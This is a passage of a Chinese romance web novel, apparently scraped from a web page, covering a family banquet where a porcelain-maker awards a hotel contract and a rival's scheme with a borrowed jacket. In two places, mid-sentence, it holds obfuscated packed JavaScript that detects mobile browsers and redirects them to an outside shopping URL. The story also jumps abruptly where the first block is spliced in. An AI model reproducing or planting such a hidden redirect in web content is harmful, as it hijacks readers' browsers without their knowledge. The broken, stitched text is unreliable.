霍亦辰看这人样貌平平,衣着朴素,并不相信他说的话,目光蔑然向下一瞥,冷道:“把盒子打开。” 男人抱紧礼盒的手缩了缩,“这是精心为霍夫人准备的礼物,自然得送到她手里,由她本人亲手打开。哪有人的面都没见,先拆礼物的道理?” 霍亦辰烦躁,目光像看苍蝇一样嫌恶,“少废话,要么给我打开,要么现在就滚出去。” 男人面上愤慨,“你说话怎么这么难听?霍夫人就是这样教导你的吗?” 霍亦辰骂骂咧咧几句,皱眉道:“保安,把他赶出去。” 两名保安收到指令,一左一右钳住男人的肩膀,动作粗鲁,疼得那人五官皱成一团。 霍辞上前制止,“等一下,来者是客,不能这样粗鲁对待,别叫外人觉得霍家不讲礼数。” 两名保安面面相觑,都不知所措,虽没放手,力道却减轻了很多。 霍亦辰勃然大怒,喝道:“我才是饭店的正统继承人,你们听他的做什么?给我把人轰出去!” 两名保安又加重力道,正要推人走,霍辞淡然一瞥,气势威压,“母亲还未卸任,饭店轮不到霍亦辰做主,况且今天是私人晚宴,母亲没到场,论辈分我最大。我让你们放开这位先生。” 见两位主家人起了争执,两名保安脑袋转不大过来。霍辞的音量虽不大,字里行间的冷意却令他俩生畏,下意识松开手退到一边。 霍亦辰大怒,还想开口,被关元明压住肩膀。关元明脸上仍挂着他的招牌笑容,缓声道:“这位先生自称受邀的宾客,却没带来邀请函,身份无法核实,又口口声声说要把礼物呈给霍夫人。盒子里的东西是什么,只有他自己清楚。万一里面放的是危险物品该怎么办?亦辰关心他祖母的安危也在情理之中,只不过态度急躁了些。但我觉得,打开包装盒查看一下是有必要的,还请先生谅解。” 关元明是一只笑面虎,这番话说下来令人无可挑剔。那男人原本已被气得发抖,这会儿被话一激,为自证清白只得划破盒面上的包装纸,再打开深蓝色礼盒,只见绒布面的内衬中嵌着一个纯白色杏圆瓶。 霍亦辰冷笑一声,“什么破烂玩意儿,还装模作样夸得跟个宝贝一样。这家伙肯定是没安好心,随手捡了个破烂就想混进宾客里接近我祖母,明明白白告诉你,霍家的关系不是随便什么阿猫阿狗都能攀上的,趁我报警之前赶紧带上你的破烂滚蛋!” 男人听了这些无礼的话,羞愤得双耳发红,把盒子盖好后抱在怀里,扭头就想走,愤愤留下一句,“今天算是见识了霍家的待客之道。” “这位先生请留步。”霍辞连忙阻拦,神色温煦,顺手执起桌上的茶壶,倒了两杯热茶,恭恭敬敬地双手捧着一杯递到男人面前,愧疚道,“霍家晚辈出言不逊惹恼了先生,霍辞代他向您赔罪,您是母亲请来的贵客,还请赏脸留下。” 那男人讥讽一笑,“你们霍家的人真有意思,席都还没开,就迫不及待唱起戏来,一个唱红脸,一个唱白脸,真是让人看不明白。那个毛头小子叫我滚,没问题,我也不稀罕留在这地方,你又非叫我留下,难不成是觉得我姓白的好欺负,随你们呼来喝去的吗?” “您误会了,晚辈是诚心诚意向您致歉,绝无不恭敬的意思。您是母亲邀请来的贵客,如果因为我们做晚辈的怠慢不欢而散,那便是我们不孝。”霍辞并不因对方的怒意而退缩,不卑不亢淡声回应。 “那你倒是说说我为什么要听你的留下?”白姓男子掀起眼皮,冷道。 霍辞垂下睫毛思索片刻,将手中的茶杯放到男人面前的桌面上,随后拿起另一杯茶,低头后作揖,一饮而尽。 “晚辈以茶代酒向您赔罪,还望您忘掉不快。”他放下茶杯,恭敬地垂下视线。 男人盯着他,脸上看不出情绪,闲淡自若地拂袖负手。现场一片寂静,连掉根针在地上都听得见。霍辞保持不动,十分沉得住气,黑眸似幽潭般沉静。 一分钟过后,那男人脸上残存的怒意彻底消散,低笑了一声,“你是霍辞,我认得你。”他刻意说了一句,然后双手拿起面前的那杯茶,一口喝干。 “感谢白先生宽宏大量。”霍辞抬起头,淡声道。 男人啧啧两声,故意说:“难怪年纪轻轻已是成就非凡,你的气度和格局果然是某些人望尘莫及的。” 霍亦辰听出了话里的意思,当即虎着脸,两道目光利刃一般向他射去。男人却连一眼都懒得看他,继续对霍辞说:“同一丛竹子也能出歹笋和好笋,霍家的后人里数你霍辞像个样子。” “霍辞代表不了霍家后人,你也配不上我霍家的礼遇。”霍亦辰驳斥道。 霍辞脸色发沉,对霍亦辰冷冷道:“闭嘴。” 霍亦辰勃然大怒,“你凭什么这样对我说话?竟打着霍家的旗号对他卑微道歉,简直是辱没了我们霍家的名声。” “损害霍家名声的人是你。”宁姿语气不满,然后看向中年男人,换上一副恭敬礼貌的神情,“白先生,晚辈有个不情之请,可以再给我们大家展示一下您带来的礼品吗?” “反正已经打开过了,再开一次有何不可。”男人再度把礼盒掀开,露出里面的杏圆瓶。 宁姿靠近,仔细端详,抬手轻抚瓷面,“洁白晶莹,无暇透光,这是上好的玲珑瓷。浑身是孔,滴水不漏,与青花瓷齐名,追溯于隋唐时期。听闻烧制前得先在瓷坯上漏雕出图案,工艺要求极高。这些镂空孔洞被称为玲珑眼,接着用精制玲珑釉反复七次点填在其中,如此才能确保烧制出的玲珑瓷透而不漏。出炉的瓷器镂空处明光清透,釉色清澈,嵌于瓶身。不仅外观精美,还承载了文化的古韵。” 白姓男人打量她,点头夸赞,“小姑娘真是好见识。” “这位是我的未婚妻宁姿。”霍辞轻笑介绍,表情充满骄傲。 男人不吝赞道:“两位不论是外形还是内涵都相当匹配,是一段好姻缘。” 宁姿与霍辞对视,同时坦然而笑,尤其是霍辞,满面红光,毫不掩饰自己的高兴。 杵在一旁被忽略的霍亦辰将这一切看在眼里,心头像是被一团烈火灼烧,半秒钟都忍不下去,愤慨道:“管你带来的是什么瓷器,有什么了不得的?我霍家是名门望族,想要什么奇珍异宝没有?根本不稀罕你这破瓷器。” “放肆,还不快住口——” 一声怒喝传来,伴随着两声激动喝斥后的咳嗽,一袭暗红色绒面长袍的霍老夫人怒气腾腾走来。虽说疾病已愈,但相较从前精气神还是弱了许多,整个人也瘦了一圈。此刻,老人家的双眼里盛满了对孙儿的失望。 “奶奶……”霍亦辰被吓了一跳,刚才的嚣张烟消云散,语气发弱地唤了声,忙迎上前去。 霍老夫人则不满地瞪视他一眼,令他望而却步,随后她停在白姓中年男人的面前,露出抱歉又礼貌的微笑,“白先生,实在是不好意思,我来晚了。” 白先生见到霍老夫人后脸色也温和了许多,关切道:“您的身体恢复得还好吗?” “劳你记挂,我的病好了,实在感激你百忙中抽出时间赏光赴宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宁姿目睹这一幕,心中感慨,是错失多年的亲情得以延续,是历经岁月洗涤沉淀下来平静的和解,她忍不住湿了眼眶。 白鸿浪也为之动容,目光似温水般柔软,“纵使这世间有再多纷争与惊扰,时常不如人意,但生活里总有那么些时刻似礼物一般珍贵,真切地抚慰人的心灵,我想此时此刻便是。母子之情是世间伟大而细腻的感情,见证你们一家人其乐融融的画面,我觉得今晚来对了,如同立身于温暖的火焰旁,也荣幸地感染上光与热。” 霍老夫人埋头拭去眼角的泪水,仰起面时露出亲切的微笑,“瞧我,实在是太失态了。感谢您今晚赴宴,霍氏饭店因您的到来而蓬荜生辉。” “我才是倍感荣幸,您多次上门,我了解到您诚心坚定的合作意向。我答应过考虑与霍氏合作,为饭店定制一批瓷器,今天是专程来给您答复的。”白鸿浪的脸上不自觉露出笑意,“我愿投桃报李,接受您提出的合作方案。” 霍老夫人十分欣喜,“白先生,除去感谢之外,我实在不知该说什么。只有一点,我邵薇保证霍氏会善待您珍贵的作品,心怀敬爱地呵护它们,绝不辜负您的信任。” “不过我仍有一点疑虑,您大病初愈,精力恐怕不够,需要时间休养身体,应该无法亲力亲为处理饭店内的事务吧?”白鸿浪犹豫后问道。 “关于这一点,您无需担忧。与您合作的事项皆由我孙子霍亦辰负责,还有内部经验丰富的人员辅助,一同协作管理,我也会担任起监督的责任,保证不会出现纰漏。” 白鸿浪的表情仍不太满意,“既然您选择和我合作,应该对我这个人的处事风格有所了解。我是个不太看重利益得失的人,但我的作品于我而言像是亲生儿女一样,需要得到关切和呵护,同时也作为信仰,需要得到尊重。我心里倾向于把凝结了心血、文化与情感的作品交给真正懂它、珍惜它的人去安排,而不是交给一个只懂得金钱交易的商人。” 霍亦辰觉得他话里有话,感觉不太妙,满脸警惕。 “您的意思是?”霍老夫人问。 白鸿浪不卖关子,开门见山道:“您的公子霍辞和他的未婚妻宁小姐二人见识非凡,品格也仁善,我非常看好。” 霍亦辰惊怒失色,忘记了礼节,大喊道:“不行,绝对不能把这次合作的项目交到霍辞手上!” “没什么不行。”霍老夫人语气严厉,冷冷瞥了他一眼,随后目光转向白鸿浪,“我同意,但还是要征求两个孩子的意愿。” 她转过身面向霍辞,柔声问:“孩子,你愿意吗?” 从有记忆开始,霍辞见得最多的是母亲失望的目光、严酷的表情,还有对他刻意的逃避,他内心是畏惧自己的母亲的,但又难以割舍那份依恋和期盼。于是在岁月的磋磨下,这复杂的情愫变成了恼怒和记恨。像这样温和而慈爱的目光实在太过稀有,以至于他愣住了,慌乱无措地看向身旁的女孩。 很多人都说,宁姿背后只有一个逐渐败落的红鼎轩,与如今功成名就的霍辞并不匹配,但只有他自己才清楚,其实是她救赎了他,成为他前行路上的那盏明灯,光火葳蕤,希望不息。内心深处,他是依赖她的。 触及霍辞的目光,宁姿笑意满面,凑到他耳边低声道:“看我做什么?你知道答案的,我会陪你一起。” 67. 第六十七章 宁姿是霍辞见过最鲜妍明朗的女孩,无论他心底充斥着多少阴霾,她都会在阴雨天下为他撑起一把小伞,雨珠坠落绽放成花,化作绮丽的风景。 此时,她正用鼓励的目光注视着他,令他心里的无措被安抚,瞬间充溢勇气。 霍辞恢复了镇定,看向自己的母亲,平静道:“保证竭尽全力处理好这件事。” 霍老夫人莞尔一笑,眼眶略红。 “这下子我没什么可担忧了,烦请拟好合同后再来找我。最近我迷上了戏曲,接下来一周白天都会待在铜锣巷的那间百年茶肆里听戏。”白鸿浪不紧不慢说。 “最迟明天下午,我们茶肆里见。”霍辞说。 白鸿浪悠然道:“预祝你们霍氏能一举拿下这次房博会指定酒店的名额。” “借您吉言,合作愉快。”霍辞主动伸出手,与他相握。 站在一旁的霍老夫人看着儿子从容处事的气度,神情温和,眼中满是欣慰与骄傲。在场另一个人却脸色煞白,看着霍辞的目光充斥着恶意,直到霍老夫人把他们俩一起叫进小会议室。 不等老人家开口,霍亦辰已经憋不住了,惊异叫嚣,“奶奶,您为什么要答应白鸿浪?难道您真打算把房博会前饭店布置的任务交给霍辞?” 霍老夫人横了他一眼,“谁准许你直呼其名?他是你的小叔。” 对面的霍亦辰急得跳脚,“这事不能交给他,他对霍氏的情况根本不了解,在外自立门户,说句不好听的话,连他是不是真心向着霍氏都不一定。” “目无尊长,随意以险恶的心思揣测自己的长辈,简直放肆!”霍老夫人被气得咳嗽几声。 霍辞下意识抬手想轻拍她的背为她顺气,又不太自然地停在半空,没有落下。她没察觉到,等咳完了继续对霍亦辰说:“如果不想把我直接气死,现在就向自己的亲叔叔道歉。” 霍亦辰倒退一步,激动得双眼发红,“我可以道歉,但我无法眼睁睁看着霍辞抢走原本属于我的机会。” “一家人不分彼此,机会也不属于任何人,一切都是为了霍家。这次房博会指定酒店的名额非常重要,成败的关键就在于白先生的这批定制瓷器。这是江城第一次举办房博会,全市人民都在关注,霍氏饭店的表现也直接决定了往后的定位及发展。”霍老夫人直勾勾盯着他,“刚才白先生的话你也听清楚了,不需要我再次重复。” 他眼前浮起不甘的泪水,“奶奶,我才是霍氏饭店的继承人呀,如果把这么重要的任务交给霍辞,其他人会怎么想?” “所谓颜面都是最虚无缥缈的无用之物,是你自己开罪白先生,毁掉了机会,更不该为了这些虚假的东西执着。作为一名合格的领导者,你要清楚自己肩负的责任,大局观更是不可或缺。一味自私自利不顾霍氏的人根本不配继承霍氏饭店。别忘了,霍辞也姓霍。”霍老夫人看着他,语气淡然。 他似是不敢相信听到的话,瞳孔剧烈晃动,“您这话是什么意思?” 随后又转头看向霍辞,嘴唇被上牙咬到发白,眼中惊怒交加,“你亲口说过对霍氏饭店没有企图心,原来是说一套做一套,否则你今天为什么会出现?又为什么故意在白鸿浪面前大出风头?坦白说吧,你早就调查清楚霍氏要和姓白的合作,所以做了这出戏,对不对?” 霍辞听到他这么说,懒得否认,反而微挑了下眉梢,面露不屑。 “你不检讨自己的过失,反倒怀疑责怪起为霍氏饭店留下白先生的亲叔叔,简直是不可救药。”霍老夫人厉声斥责,“你是我亲自培育出的继承人,一直以来我对你寄予厚望,换来的却是一次又一次失望。这回大病一场,我整个人似终于清醒,不论是对你还是对我自己,自以为是的偏执都铸成过错。现如今我决心放下执念,承认自己的失败。所以霍氏饭店的继承人不再非你霍亦辰不可。” 霍亦辰受到重创,不由自主往后退了两步,跌坐在红木椅上。 霍老夫人站在不远处,遥遥看了他片刻,恍惚想着,或许真是她错得太离谱,怎么会把孩子养成如今这样?她闭了闭眼,失魂落魄地走了出去。霍辞跟随在后,背身反手关上木门,如同冷淡的神祗般漠视一切。 这一幕深深刺痛了他,霍亦辰双手捏紧木椅把手,用力到指节都泛白,倏然沉下脸色,宛如从炼狱中挣扎爬出的恶鬼般怨怼丛生。 第二天,霍辞与白鸿浪在茶肆里详谈合作细则后签订合同,饭店内也开始紧锣密鼓地装修布置。 正好处于暑假期间,宁姿不用上学,全力协助霍辞。另一方面,棘手的事都集中在一起,霍辞每天都要接很多工作电话,大多是新建成的楼盘总经销打来的。宁姿了解到霍辞的公司和合作方召开了第二季度会议,因市场政策有调整,项目相关负责人纷纷找他询问具体情况及应对方案,所有人都急得像热锅上的蚂蚁一样团团转,唯有霍辞本人依然淡定。他审核完统计表和文件,内容是下半年各项目的调整方案和销售额预估,还有拿出部分利润投入基金会的具体执行方案,剩下的就是主题营销活动,方式、内容、场地的初步构想及成本预估。 这种情况下,宁姿主动担负起与白鸿浪先生沟通设计细节与厅内设计布置的重任。整个七八月份,二人都在忙碌中度过,好在各方面进展都很顺利,楼盘销售火爆,口碑也好,霍氏饭店成功争取到房博会指定酒店名额。 好不容易清闲一些,开学的日子就到来了。 下午第二节课下课后,宁姿和董筱一起走出二教,刚下最后一级台阶就见到一个不想看见的人。上一学期就算遇见钟荔荔,对方也对她视而不见,这一回钟荔荔却主动迎了上来,神情尴尬又紧张。宁姿多看她一眼都嫌脏了自己的眼,正打算绕开,她却怯生生叫了声“表姐”。 董筱好奇地打量她,觉得有些眼熟,“我怎么没听说你还有个表妹?” “很少往来。”宁姿轻描淡写。 钟荔荔听到后嘴角微抽,更尴尬了,“你最近过得好吗?爸爸、妈妈很关心你。” 宁姿挑眉,“麻烦转达他们二位,不必白费心神。” “表姐你还在生我们的气吗?我承认,从前是我太不懂事,做了错事惹你伤心,如今我也非常后悔。”钟荔荔眉尾一垂,扮起可怜。 董筱看着眼前的情况,有些不明就里,目带讶异地看向宁姿。只见她依然十分冷淡,说:“我没有过多奢求,只盼望各自安分。如果想说的话已经说完,麻烦让一下,我们还要赶去上下一节课。” “其实我是想求表姐帮我一个小忙。”钟荔荔扭捏着小声说,“能麻烦表姐把外套借给我吗?” 今天宁姿穿了一件浅灰色卫衣外套,搭在白色短袖T恤外,听了她的请求,断然拒绝,“不行。” 钟荔荔垂下脸解释,“我例假提前来,不小心把裤子弄脏了。下节是体育课,考勤查得特别严,我不敢缺课,但这样又实在没办法出现在同学们面前,才来麻烦表姐借我衣服遮一下。用完后,我一定会洗干净叠好再还给你的,拜托了。” 身为女性,听到对方遇到这种困境,还是免不了动摇。宁姿依然保有警惕,“为什么不找你的朋友借?” 钟荔荔的目光有些黯然,抿了下唇,无奈道:“班上的女同学们不太喜欢我,可以说我是被集体孤立了。” 她的表情十分难过,宁姿却无法完全信任,依然犹豫着。 钟荔荔改换策略,看向董筱,柔声问:“你一定是表姐的好朋友吧?” 董筱没想到她会忽然跟自己搭话,有些懵,点了下头。钟荔荔盯着董筱身上的防晒外套,小声说:“请问你愿意把外套借给我吗?我知道自己不该厚着脸皮开这个口……” “够了,你穿我的外套。”宁姿讨厌钟荔荔纠缠董筱,不得已脱下外套递给她,“用完以后不要来找我,直接放在女生苑的柜子里,把号码和密码通过短信发给我就行。” “谢谢表姐。”钟荔荔满脸感激地接过,欣喜道谢。 “咱们快走吧,不然真要迟到了。”宁姿对董筱说,二人加快步伐离开。 钟荔荔脸上笑吟吟的表情逐渐收起,目光变得冰冷阴暗,握着衣服的手指也逐渐收紧,将布料捏出折痕。 · 傍晚下过一场雨,很快就停了,空气中仍弥散着冰凉的水雾。 钟荔荔只穿了一件轻薄的连衣裙,手指尖发冷。一阵风吹过,她抱住自己的胳膊,而最冷的不是身体,而是心,触及对面霍亦辰冷漠嫌恶的神情,她就感觉自己像在被凌迟一样痛。 “我真的就那么比不上宁姿吗?你连和我说几句话都不愿意?”钟荔荔缓缓抬起脸,露出满是酸涩的苍白面孔。 霍亦辰却不吃她这套,毫不客气道:“我的时间非常宝贵,已经被你浪费了不少。往后不想再听到你的表白,让我犯恶心。” 钟荔荔凄惨一笑,“你对我不屑一顾,我却一直仰慕你,喜欢你,真是不公平。你知道吗?我是为了你才拼命提高成绩考入清远,只为了能离你更近一些。我愿意为了你付出所有,这些宁姿可以做到吗?” 霍亦辰盯着她的脸,抬手抚上她的下颌,缓缓靠近。钟荔荔心中有了猜想,止不住欢喜,娇羞地闭上双眼,耳畔却响起他的嗤笑。他甩开她的脸,像扔开一件脏东西一样,刻薄道:“放在以前,我不介意浪费时间陪你玩一玩,但现在我已没有这样的兴致。” 钟荔荔受到冲击,两片唇瓣愕然张开,看起来呆蠢无比,更令霍亦辰生厌,他毫不犹豫转身就走。钟荔荔着急地攥住他的袖口,又在他停下脚步回头怒视她时畏惧地松开,急促道:“我还有话要说,是关于宁姿的。” 霍亦辰总算多了点耐心,转回身面向她,一副“要说快说”的表情。两人对视的瞬间,钟荔荔用尽所有力气才压住自己眼底的不甘,“你和她之间还隔着一个霍辞,所以你无法如愿得到她。” 霍亦辰忿忿地一甩胳膊,让她差点站不稳跌倒,以发泄自己的愤怒,“你算什么东西,竟敢嘲讽我?” “不,我只是想帮助你。”钟荔荔手臂撞到墙角,疼得直吸气,哽咽着辩解。 “就凭你,打算怎么帮我?”他不屑一顾,斜眼乜她。 钟荔荔从手提袋中取出一件洗干净叠好的浅灰色外套,递到他面前,“这是宁姿的衣服,你拿去,想办法让霍辞看见。” 霍亦辰冷嗤道:“真是蠢货,难道你以为凭这么一件衣服就能离间他们二人?” 钟荔荔目光平静,“男人最清楚男人,你应该了解当一个男人面对自己喜欢的女人,占有欲是多么旺盛。一件小小的衣服不足以让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157560|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决裂,但总会产生一些细微的隔阂,而这就是你的机会。” 这一次霍亦辰没有断然否定,而是认真思索她的话,然后接过外套,没有多余的语言,却用行动表示接受她的提议。 她扯了扯唇角,许久后轻声说:“亦辰哥哥,或许你不会相信,我对你是真心的,并不是基于身份背景的考量,而是单纯的爱你。当初知道宁姿选的订婚对象不是你,我发自内心高兴。即便你现在对我那么坏,我对你的心意还是没有改变半分。但是我愿意成全你,为了你破坏宁姿和霍辞的感情,因为我希望你如愿以偿。” 霍亦辰表情微松,离开前留下一句,“早点回去。” 就这样简短的一句话,钟荔荔像受到偌大的肯定,忍不住低头而笑,笑得欢畅至极。 · 东校门对面的美食街新开了一间炸串店,宁姿听同学推荐和朋友们去吃过一次,的确非常美味。 周五傍晚,霍辞抽出时间接她放学,刚好下课时间提前了几分钟,宁姿特意跑到小店买炸串,想让他也尝一尝。站在炸串台前等候时,她接到了霍辞的电话,向他说明自己在买炸串,让他在车里等一会儿。 食材放入热油中噼里啪啦的油炸声十分清晰,看着胖嘟嘟的大鱿鱼和肥嫩嫩的肉串外表都裹上一层金黄,简直食指大动,却没注意到身后有一道高大的身影接近。 台后的女老板夹了一串菜筐中洗净的香菇放入热油中,香菇内水分充足,一接触油面立即炸得溅起几粒滚烫的油珠。宁姿距离太近,被惊了一下,本能后退躲避,身子却忽然腾空而起,腰间环了一双坚实有力的手臂,被人抱住转了小半圈护在怀中。她微仰起脸,看向那人,迷茫地眨了下眼,正对上那双如暗夜般漆黑的瞳眸。 霍辞垂眸睨着她,极其不满地质问:“你是不是傻了?站得那么近,不怕被油烫到?不是向来最怕疼的吗?” 他的手臂仍将她的纤腰搂得严丝合缝,察觉到台后女老板好奇打量的目光,宁姿脸颊发热,赶紧推了下他的手臂,小声说:“你先松开我,大庭广众的,还有人看着呢。” 霍辞听话松开手,俊脸仍表情臭臭的,“不许转移话题。” “你拿自己的背挡住我,有没有被烫到?”宁姿担心,拽过他的手腕拉他过来,绕去看背后。 “衣服上都溅了油点,里面呢?”她说着话没多想,下意识去扯他的衣服。 霍辞一把抓住她作乱的小手,偏了下头,声音又欠又拽,“大庭广众,你想做什么?” 她后知后觉缩回手,把红扑扑的小脸转开,权当什么都没发生过,又不放心追问:“真的没有被烫到?” “没有,我皮糙肉厚的,只是你以后要注意安全,再也不许犯傻了。”原本打算严厉教训的霍辞彻底严肃不起来,盯着她的眼睛似笑非笑道。 宁姿浅浅点了下头,模样看起来很乖巧。 一旁的女老板一边炸串,一边注视着小情侣的互动,笑得合不拢嘴,“小姑娘,这位帅哥是你男朋友吧?” 宁姿低头笑了笑,不好意思地点了下头。 “我一看就是,两个人感情真好,俊男靓女在一起,看得人心情好。”女老板笑容可掬,手上熟练地拿刷子给豆腐串刷酱,感慨道,“看到你们就想起年轻时和我丈夫处对象时候的情形,就跟昨天发生的一样。” 霍辞但笑不语,宁姿打趣回去,“瞧您笑得这么开怀,你们夫妇的感情也一定很好。” “还凑合吧。”女老板哈哈笑了声,看着宁姿说,“当初我家那口子就爱我这手艺,每天来吃,吃不腻一样。有时候我没出摊,闲逛时还瞧着他站在老地方等,我就好奇问他,炸串真好吃到这种地步?他才支支吾吾说,好这口没错,但更重要是看上了我。” 宁姿笑得娇憨,“后来您就接受了他的心意?” “那可不,我当场就主动说要和他处对象。他一开始是冲着我的炸串来的,对我日久生情,我对他可是一见钟情,看中的是他那张帅脸,就跟你男朋友一样,让人看一眼,就像喝醉了一样晕乎乎的。” 直爽的老板逗得宁姿咯咯笑出声。霍辞弯腰凑到宁姿面前,似笑非笑问:“我现在合理怀疑你当初也是看中了我的脸,才主动向我求婚。” 宁姿背过身去不想理他,还拿胳膊肘撞了下他的腰。 “你们的炸串炸好了,口味有没有什么特别的要求?”女老板笑着问。 “麻烦少放辣椒,她不太能吃辣。”霍辞回答。 女老板夸赞,“太会疼人了,小姑娘,你这男朋友找得好,不光样子好看,还那么体贴,满心满眼都是你,实在是幸福。” “我更幸福,有一位随时想着给我买美食的女友。”付钱后,霍辞提着打包好的食品袋,另一只手握住宁姿的手,牵着她往路边走。车停得比较远,在另一条街,因为她之前说过希望低调点,不要停在校门口。 经过东校门时,路边忽然传来两声喇叭声,二人转头看向声音来源,路边停着一辆宝马车,驾驶座的车窗全开,露出里面坐着的人。 霍亦辰左手捏着一件浅灰色外套,看向女孩目光灼灼,“宁姿,你的外套忘了拿。”这句话充满暧昧意味,目光随即移到霍辞脸上,挑衅轻嗤。 霍辞回看向他,眼底一片冰冷。 68. 第六十八章 日影缓缓倾斜,将东校门口走动的人们拖出斜长的影子,人影们都在不断移动,唯有对峙的三人仿佛静止一般。 “衣服,不打算拿走吗?”霍亦辰定定看着宁姿,毫不遮掩对她的企图心。 她担忧地抬起头看向霍辞,伸手牵住他的袖口,霍辞朝她轻摇头,随后松开她的手,径直走向轿车。霍亦辰下了车,傲慢地盯着步步逼近的男人,像只随时准备迎战的野兽。 霍辞的目光仿佛刀刃般锋利,停在他面前,却只是抬起手臂,以动作向他索要衣服。霍亦辰刻薄地勾起唇角,绕过他走向宁姿,把衣服递到她面前。 她往后退了一步,目光充满戒备。霍辞跨步上前,用力扯开霍亦辰,令他踉跄几步后才站稳,外套摔在地面上。霍辞捡起外套,拍了几下灰尘,平静地递给宁姿。 宁姿接过,低声解释,“衣服是借给钟荔荔的。” 霍辞的手没有放下,修长手指搭在她纤细的胳膊上,安抚地点了点,“不用解释。” 他又看向霍亦辰,低声问:“这么做有意思吗?” “看到你这么难看的脸色,不仅有意思,简直很有意义。”霍亦辰无赖笑了一声。 “从前我真的非常嫉妒你,一直暗暗在心底里把你当作是我的对手,希望有朝一日能超越你,让母亲亲眼看到,承认是她错了。”霍辞沉吟片刻,“原来是我错了,我为从前的想法感到耻辱,抬举了你,也浪费了我太多时间。” 大概是他太过直接,反而让霍亦辰脸上的笑容消失,阴冷道:“你和从前那副卑微的样子判若两人。” “你比从前的我更可怜,可怜到我都无法感到得意。”霍辞不咸不淡的点评道,“我知道你心里不服气,那就更该想办法改变处境,超越自己看不惯的人,而不是搞这些上不了台面的小动作。” 霍亦辰强压下怒火,嗤笑一声,一脸嚣张的阴险样,“还一件衣服而已,不用草木皆兵,显得你气量狭小。” 宁姿很是不客气地也笑了,回敬一句,“全怪我那表妹记性太差,或者是她故意过河拆桥,倒要劳烦你来替她还衣服。没想到你们二人竟然这么亲近,或许再不久咱们两家就要来个亲上加亲了。” 她的调侃令霍亦辰心里感觉非常不舒服,神态不再轻松,而是狠狠皱起眉头。 宁姿神色淡淡,转而挽住霍辞的臂弯,带着撒娇语气道:“街对面有卖糖葫芦的,想吃。”然后也不等他回答,手下滑牵紧他的手,自顾自拉他走。 霍亦辰暗色的眼瞳深深望向女孩的背影。 霍辞被宁姿牵着走,神色冷漠又桀骜,一声不吭。她好笑地问:“一句话都不肯跟我说,是在冷战吗?” “炸串冷掉了。”他闷闷吐出一句。 宁姿继续笑嘻嘻地安慰他,“冷掉也很好吃,下一次直接带你去店里吃。” 他没作声。 宁姿牵着他走过斑马线,避开马路边的自行车,走到街对面的人行道,不远处就是糖葫芦摊。叫他站在街边等一会儿,自己小跑一路去了摊位前,先是认认真真看了很久,用心在挑选的样子,随后取走一串,付钱,又跑回到他身边。 她双眼弯弯,把糖葫芦串递到他眼前。霍辞睨了她一眼,故意问:“撕不开包装纸吗?” “不,是我送给你的。”宁姿眼神直勾勾望向他。 霍辞很想笑,但还是故意压下嘴角,“无事献殷勤,做什么亏心事了?” “你这是以小人之心度君子之腹,我会伤心的。看你表情那么臭,想着让你吃点甜食,可能会开心起来。毕竟偶尔哄哄任性的未婚夫,也是我这位称职未婚妻的义务。”这话她说得脸不红气不喘,嘴角轻扬。 霍辞故意停顿片刻,微抬了抬下巴,“我不喜欢。” “不喜欢什么?我还是糖葫芦?”宁姿一边笑一边慢悠悠地问。 在她面前完全藏不住事的霍辞脸一黑,凶巴巴道:“糖葫芦。” 她一副懂了的样子点点头,撕开包装纸,露出里面鲜红滚圆的果实,“瞧这糖衣鲜艳欲滴,折射光线比红宝石还要璀璨。果实饱满大颗,一看就是上好的山楂。” 然后又猛吸了一口气,“闻起来香中带甜,酸甜交杂,咬下去那股奇妙的酸甜滋味一定会瞬间迸发,染上味蕾,一颗接一颗,停不下来啊。” 听了她的描述,霍辞险些闷笑出声。她在干嘛?把自己当小学生在哄吗? 宁姿悻悻叹了声,收回糖葫芦,“既然某人那么没品味,不如就由我替他吃掉。”话音才落就张开嘴要咬一口,颇有点迫不及待的样子。 霍辞目光淡然地看着她这副馋猫样,忽然握住了她的手,二话不说从她手里把糖葫芦串一把夺过去,咬下一颗,速度之快令她没有反应过来。 “你说过不喜欢的。”她控诉道。 “不喜欢不代表不吃。”霍辞又咬下一颗,朝前走,直截了当回应,闲闲地扯了下嘴角。 宁姿小跑着跟上去,“也给我尝一颗。” 他故意换了离她更远的那只手拿,宁姿追了几步想抢,他就举高,让她够不到。 “别那么小气,难道你想吃独食吗?” 两人打打闹闹到上车,霍辞咬下最后一颗裹满了糖浆的山楂球,宁姿一颗都没吃到,累得瘫坐在副驾驶座上,撇撇嘴。霍辞嘴里包着山楂,含混道:“难吃。” 她此时脸颊涨得通红,被他气的。霍辞被她的表情逗笑,伸手想捏她的脸颊,被她打开,凑过去问:“真生气了?” 宁姿瞪他,“把山楂咽下去再说话。” 他乖乖咽下,提气高声道:“奇妙的酸甜滋味染上味蕾,一颗接一颗停不下来。” 宁姿总觉得他现在的表现就叫作小人得志,板着脸说:“我不知道为什么钟荔荔会把我的衣服交给霍亦辰,他们联合起来设了个套子,你不至于蠢到往里钻吧?” 霍辞比她还理直气壮,“我说过你不需要解释,从一开始我就相信你,不过相信归相信,心里还是不爽,总得发泄出来。” “小气的男人没魅力。”她气呼呼地背过身去。 霍辞终于被逗得笑出了声,“看来我不能只顾着自己生气,得想办法哄一哄未婚妻了。” 宁姿一想到一大串糖葫芦,他真的一颗都不分给自己吃,就不想理他,故意不说话。霍辞笑眯眯靠在她身旁,“不开心的时候吃甜食果然管用,你要不要也尝一尝?” 宁姿慢吞吞把头转向他,看他能从哪里变出甜食,谁知视线碰触的那一刻,他抬手摸到她的面庞,手掌慢慢上移,长指穿入她柔顺的长发,强势地扣住她的后脑,随后唇瓣压了上去,细密而热烈地吻住她。 